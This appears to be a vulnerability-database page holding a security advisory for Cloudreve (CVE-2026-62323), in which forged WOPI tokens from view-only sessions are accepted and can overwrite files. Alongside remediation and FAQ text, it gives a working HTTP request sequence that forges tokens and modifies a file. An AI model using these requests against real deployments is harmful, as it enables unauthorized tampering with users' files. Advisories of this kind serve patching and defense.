How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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363,159

Total vulnerabilities in the database

CVE-2026-62323 — github.com/cloudreve/Cloudreve/v4

Incorrect Authorization

Summary

Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.

Impact

A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.

This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:

sessionID := uuid.Must(uuid.NewV4()).String()
token := util.RandStringRunesCrypto(128)
sessionCache := &amp;ViewerSessionCache{
    ID:       sessionID,
    Uri:      file.Uri(false).String(),
    UserID:   m.user.ID,
    ViewerID: viewer.ID,
    FileID:   file.ID(),
    Version:  version,
    Token:    fmt.Sprintf(&quot;%s.%s&quot;, sessionID, token),
}

The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:

accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), &quot;.&quot;)
if len(accessToken) != 2 {
    ...
}

sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])

The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.

The WOPI routes are exposed without normal session authentication and rely on this middleware:

wopi := noAuth.Group(&quot;file/wopi&quot;, middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())
wopi.GET(&quot;:id&quot;, controllers.CheckFileInfo)
wopi.GET(&quot;:id/contents&quot;, controllers.GetFile)
wopi.POST(&quot;:id/contents&quot;, controllers.PutFile)
wopi.POST(&quot;:id&quot;, controllers.ModifyFile)

The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:

wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)

WopiService.PutContent() checks only the underlying filesystem upload capability:

file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())

It does not check whether the WOPI session was created for an edit action.

Reproduction

The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.

Configure a WOPI viewer in Cloudreve.
Create a user-owned file, for example cloudreve://my/wopi.txt, containing original content.
Create a viewer session with preferred_action set to view:

PUT /api/v4/file/viewerSession HTTP/1.1
Authorization: Bearer &lt;user-token&gt;
Content-Type: application/json

{
  &quot;uri&quot;: &quot;cloudreve://my/wopi.txt&quot;,
  &quot;version&quot;: &quot;&quot;,
  &quot;viewer_id&quot;: &quot;poc-wopi&quot;,
  &quot;preferred_action&quot;: &quot;view&quot;
}

Observed response:

{
  &quot;session&quot;: {
    &quot;id&quot;: &quot;a2d03f1b-e310-4b2a-9baf-38556fa2d5d1&quot;,
    &quot;access_token&quot;: &quot;a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.&lt;128-char-random-secret&gt;&quot;
  }
}

Replace the token suffix with any value:

GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.

Use the forged token from the view-created session to read content:

GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response:

HTTP/1.1 200 OK
Content-Length: 16
Etag: &quot;1bIo&quot;

original content

Use the same forged token from the view-created session to write content:

POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
X-WOPI-Lock: cloudreve-poc
Content-Type: application/octet-stream

runtime modified via view session forged suffix

Observed response:

HTTP/1.1 200 OK
X-Wopi-Itemversion: nBc0

Read back the modified file with the forged token:

GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response:

HTTP/1.1 200 OK
Content-Length: 47
Etag: &quot;nBc0&quot;

runtime modified via view session forged suffix

This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.

Root cause

Two authorization values are generated or accepted but not enforced:

The random WOPI token suffix is generated and stored but never compared during WOPI request validation.
The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.

Remediation

Compare the full supplied access_token to the stored ViewerSessionCache.Token using constant-time comparison.
Reject malformed tokens and tokens with extra separators.
Store a CanWrite flag or selected WOPI action in ViewerSessionCache.
Enforce that flag on POST /contents, PUT_RELATIVE, LOCK, and other write operations.
Include session-level write permission when returning WOPI FileInfo fields such as ReadOnly and UserCanWrite.

Published: Jul 24, 2026
Updated: Jul 25, 2026
CVE: CVE-2026-62323
GHSA: GHSA-c3jm-gv5r-9wcp
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 6.3
AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N

CWEs:

CWE-863

Affected Software
References

Software	From	Fixed in
github.com/cloudreve/Cloudreve/v4	-	4.0.0-20260626022433-f3347130ac48
github.com/cloudreve/Cloudreve/v3	-	3.0.0-20250225100611-da4e44b77af4.x

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.